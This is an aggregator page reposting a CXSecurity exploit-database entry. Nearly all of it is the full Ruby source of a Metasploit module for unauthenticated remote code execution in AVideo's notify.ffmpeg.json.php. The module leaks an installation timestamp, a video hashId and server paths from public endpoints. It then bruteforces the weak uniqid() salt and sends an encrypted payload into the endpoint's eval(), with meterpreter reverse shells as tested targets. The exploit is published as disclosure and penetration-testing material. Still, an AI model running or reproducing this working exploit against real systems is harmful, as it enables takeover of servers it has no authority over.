惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Docker
Simon Willison's Weblog
Simon Willison's Weblog
H
Help Net Security
F
Fortinet All Blogs
H
Heimdal Security Blog
S
Schneier on Security
L
LangChain Blog
博客园 - Franky
酷 壳 – CoolShell
酷 壳 – CoolShell
NISL@THU
NISL@THU
P
Palo Alto Networks Blog
J
Java Code Geeks
博客园 - 【当耐特】
The Last Watchdog
The Last Watchdog
W
WeLiveSecurity
www.infosecurity-magazine.com
www.infosecurity-magazine.com
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
V
Vulnerabilities – Threatpost
I
InfoQ
Recorded Future
Recorded Future
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
C
CERT Recently Published Vulnerability Notes
T
Tenable Blog
腾讯CDC
C
Check Point Blog
量子位
M
MIT News - Artificial intelligence
GbyAI
GbyAI
罗磊的独立博客
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
B
Blog
小众软件
小众软件
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
C
CXSECURITY Database RSS Feed - CXSecurity.com
Stack Overflow Blog
Stack Overflow Blog
P
Proofpoint News Feed
P
Privacy & Cybersecurity Law Blog
V2EX - 技术
V2EX - 技术
T
Threatpost
Engineering at Meta
Engineering at Meta
Attack and Defense Labs
Attack and Defense Labs
T
Tailwind CSS Blog
S
Securelist
The Cloudflare Blog
博客园 - 叶小钗
L
LINUX DO - 最新话题
T
Troy Hunt's Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
爱范儿
爱范儿

The Exploit Database - CXSecurity.com

XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 ePati Antikor NGFW 2.0.1301 Authentication Bypass Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service NiceGUI 3.6.1 Path Traversal - CXSecurity.com Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Kanboard <= 1.2.50 Authenticated SQL Injection OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution Google Chrome < 145.0.7632.75 - CSSFontFeatureValuesMap Use-After-Free Siklu EtherHaul Series EH-8010 Remote Command Execution aiohttp 3.9.1 Directory Traversal - CXSecurity.com deephas <= 1.0.7 - Prototype Pollution leading to Arbitrary Code Execution / DoS LangChain Core - Serialization Injection to Jinja2 SSTI/RCE Birth Chart Compatibility WordPress Plugin 2.0 Full Path Disclosure dotCMS 25.07.02-1 Authenticated Blind SQL Injection Mbed TLS 3.6.4 Use-After-Free - CXSecurity.com MonstaFTP Unauthenticated File Upload - CXSecurity.com Flowise 3.0.4 Remote Code Execution Swagger UI 1.0.3 Cross-Site Scripting (XSS) Vvveb CMS 1.0.5 Remote Code Execution SugarCRM unauthenticated Remote Code Execution (RCE) Belkin F9K1009 F9K1010 2.00.04/2.00.09 Hard Coded Credentials Commvault CLI Argument Injection / Traversal / Remote Code Execution Sitecore XP Post-Authentication File Upload Ultimate Member WordPress Plugin 2.6.6 Privilege Escalation Ghost CMS 5.59.1 Arbitrary File Read DOS Baby POP3 Server 1.04 Tenda AC20 16.03.08.12 Command Injection Projectworlds Online Admission System 1.0 SQL Injection JetBrains TeamCity 2023.11.4 Authentication Bypass Cisco ISE 3.0 Remote Code Execution Pandora ITSM Authenticated Command Injection Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE Malicious XDG Desktop File - CXSecurity.com Langflow 1.2.x Remote Code Execution (RCE) Microsoft Excel LTSC 2024 Remote Code Execution Adobe ColdFusion 2023.6 Remote File Read Malicious Windows Registration Entries (.reg) File Microsoft PowerPoint 2019 Remote Code Execution (RCE) Discourse 3.2.x Anonymous Cache Poisoning VBA Bypass Windows Defender Exploit PoC Social Warfare WordPress Plugin 3.5.2 Remote Code Execution (RCE) PHP CGI Module 8.3.4 Remote Code Execution Grandstream GSD3710 1.0.11.13 Stack Overflow Parrot and DJI variants Drone OSes Kernel Panic Exploit
AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution
2026-01-18 · via The Exploit Database - CXSecurity.com

AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' require 'time' require 'tzinfo' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery', 'Description' => %q{ This module exploits an unauthenticated remote code execution (RCE) vulnerability in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical cryptographic weakness in the salt generation mechanism combined with information disclosure vulnerabilities that allow an attacker to discover the encryption salt through offline bruteforce. Root Cause: During installation, AVideo generates an encryption salt using PHP's uniqid() function, which is not cryptographically secure. uniqid() generates a 13-character hexadecimal string composed of: 8 characters for Unix timestamp in hex, and 5 characters for microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values). Exploit Chain: 1. Leak installation timestamp from /objects/categories.json.php (public endpoint) 2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php 3. Leak system root path from posterPortraitPath in video API responses 4. Leak server timezones from /objects/getTimes.json.php 5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison 6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval() The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter, which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails, it retries with the old uniqid() salt. This fallback makes the RCE exploitable. Affected Versions: AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with eval($callback) (introduced January 7, 2025). Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT. This vulnerability does not require authentication and can be exploited remotely by any attacker who can access the AVideo instance. }, 'Author' => [ 'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt ['CVE', '2025-34441'], # Information Disclosure: hashId leak ['CVE', '2025-34442'], # Information Disclosure: System Path leak ['URL', 'https://github.com/WWBN/AVideo/pull/10284'], ['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'], ['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt'] ], 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-12-19', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']), OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']), OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/']) ]) end def check gather_info return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists salt_provided = !datastore['SALT'].to_s.empty? unless salt_provided return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible end return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1') return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version CheckCode::Appears('Prerequisites met (version unknown)') end def exploit gather_info fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) vprint_status('Executing payload...') res = send_rce_payload(callback_payload) return if session_created? if res&.code == 200 vprint_status("Payload executed (response: #{res.code})") return end error_msg = parse_error_from_response(res) fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}") end def parse_error_from_response(res) return nil unless res&.body data = JSON.parse(res.body) return data['msg'] if data['msg'] && !data['msg'].to_s.empty? return 'Unknown error' if data['error'] == true nil rescue JSON::ParserError nil end def gather_info return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info vprint_status('Gathering target information...') detect_version @notify_exists = check_notify_endpoint @timestamp_accessible = check_endpoint('objects/categories.json.php') @timestamps ||= get_timestamps if @timestamp_accessible # get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests @video_info ||= get_video_info @hashid_accessible = !@video_info.nil? end def detect_version res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true }) return unless res&.code == 200 version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m) return unless version_match && version_match[1] @version = Rex::Version.new(version_match[1]) vprint_status("Detected AVideo version: #{@version}") end def check_endpoint(path) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' }) res&.code == 200 end def check_notify_endpoint res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' }) return false unless res res.code == 403 && res.body.to_s.include?('Empty notifyCode') end # Fetch server timezones to test multiple uniqid calculations with different offsets def get_timezones res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'), 'method' => 'GET' }) return [nil, nil] unless res&.code == 200 data = JSON.parse(res.body) [data['_serverSystemTimezone'], data['_serverDBTimezone']] rescue StandardError [nil, nil] end # If the default category created at install was deleted, exploit will fail (timestamp not guessable) def get_timestamps vprint_status('Leaking installation timestamp...') system_tz, db_tz = get_timezones vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' }) return [] unless res&.code == 200 # Try JSON parsing first, fallback to regex if JSON is invalid timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz) return timestamps if timestamps.any? parse_timestamps_from_regex(res.body, system_tz, db_tz) end def parse_timestamps_from_json(body, system_tz, db_tz) data = JSON.parse(body) rows = data['rows'] return [] unless rows.is_a?(Array) && !rows.empty? first_category = rows.min_by { |c| c['id'].to_i } created = first_category['created'] timestamps = datetime_to_timestamps(created, system_tz, db_tz) vprint_good("Installation timestamp: #{created} -> #{timestamps.first}") timestamps rescue JSON::ParserError [] end def parse_timestamps_from_regex(body, system_tz, db_tz) matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m) return [] if matches.empty? created = matches.min_by { |m| m[0].to_i }[1] timestamps = datetime_to_timestamps(created, system_tz, db_tz) vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}") timestamps end def datetime_to_timestamps(dt_str, system_tz, db_tz) dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S') dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec) timezones = [system_tz, db_tz, 'UTC'].compact.uniq timezones.map do |tz| tz_obj = TZInfo::Timezone.get(tz) format('%x', tz_obj.local_to_utc(dt_local).to_i) end.uniq rescue StandardError => e vprint_error("Error converting datetime: #{e}") [] end def get_system_root return @system_root if @system_root && !@system_root.empty? # Try to get from cached endpoint responses first @system_root = extract_system_root_from_cache if @system_root vprint_good("System root leaked: #{@system_root}") return @system_root end # On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances) @system_root = datastore['SYSTEM_ROOT'] vprint_status("Using fallback system root: #{@system_root}") @system_root end def extract_system_root_from_cache pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/ # Collect all cached response bodies to scan bodies = (@endpoint_cache || {}).values bodies.each do |body| body.scan(pattern).each do |match| path = match[0].gsub('\\/', '/') root = find_root_in_path(path) return root if root end end nil end def find_root_in_path(path) %w[/view/ /videos/ /plugin/].each do |subdir| return path.split(subdir)[0] + '/' if path.include?(subdir) end nil end # Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction) # Note: videosAndroid.json.php can take a long time to load, this is expected # hashId won't be accessible if no public videos exist on the instance def get_video_info vprint_status('Leaking video hashId...') @endpoint_cache ||= {} endpoints = [ normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'), normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video', normalize_uri(target_uri.path, 'view', 'info.php') ] endpoints.each do |endpoint| info = extract_video_info_from_endpoint(endpoint) return info if info rescue StandardError => e vprint_error("Error checking #{endpoint}: #{e}") end nil end def extract_video_info_from_endpoint(endpoint) # Use cached response if available body = @endpoint_cache[endpoint] unless body res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' }) return nil unless res&.code == 200 body = res.body @endpoint_cache[endpoint] = body end data = JSON.parse(body) videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : []) return nil if videos.empty? video = videos.find { |v| v['id'] && v['hashId'] } return nil unless video hash_id = video['hashId'] cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC' vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})") { id: video['id'].to_i, hash_id: hash_id, cipher: cipher } end def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC') key = Digest::MD5.hexdigest(salt)[0, 16] plaintext = video_id.to_s(32) cipher = OpenSSL::Cipher.new(cipher_type) cipher.encrypt cipher.key = key cipher.iv = key if cipher_type == 'AES-128-CBC' Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final) end def encrypt_payload(payload) key = Digest::SHA256.hexdigest(@salt)[0, 32] iv = Digest::SHA256.hexdigest(@system_root)[0, 16] cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = key cipher.iv = iv Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final)) end def test_salt_candidate(candidate, video) compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id] end def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total) return unless (micro % 100_000).zero? && micro > 0 current = (ts_idx * 0x100000) + micro pct = (100.0 * current / total).round(1) formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r") end def bruteforce_salt(timestamps, video) vprint_status("Bruteforcing salt (#{video[:cipher]})...") start_time = Time.now total = timestamps.length * 0x100000 timestamps.each_with_index do |ts_hex, ts_idx| (0...0x100000).each do |micro| candidate = format('%s%05x', ts_hex, micro) if test_salt_candidate(candidate, video) print("\r") elapsed = (Time.now - start_time).round(2) vprint_good("Salt found: #{candidate} (in #{elapsed}s)") return candidate end print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total) end end print("\r") nil end def discover_salt @salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty? if @salt vprint_good("Using provided salt: #{@salt}") return get_system_root end get_system_root @timestamps ||= get_timestamps @video_info ||= get_video_info return false if @timestamps.empty? || !@video_info @salt = bruteforce_salt(@timestamps, @video_info) !@salt.nil? end def send_rce_payload(callback_payload) notify_code = encrypt_payload('valid') callback = encrypt_payload(callback_payload) filename = Rex::Text.rand_text_alphanumeric(8..16) ext = %w[mp4 avi mkv mov webm].sample full_filename = "#{filename}.#{ext}" notify_data = { 'avideoPath' => full_filename, 'avideoRelativePath' => full_filename, 'avideoFilename' => filename } notify = JSON.generate(notify_data.to_a.shuffle.to_h) params = { 'notifyCode' => notify_code, 'notify' => notify, 'callback' => callback } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET', 'vars_get' => params.to_a.shuffle.to_h }) res end end



 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}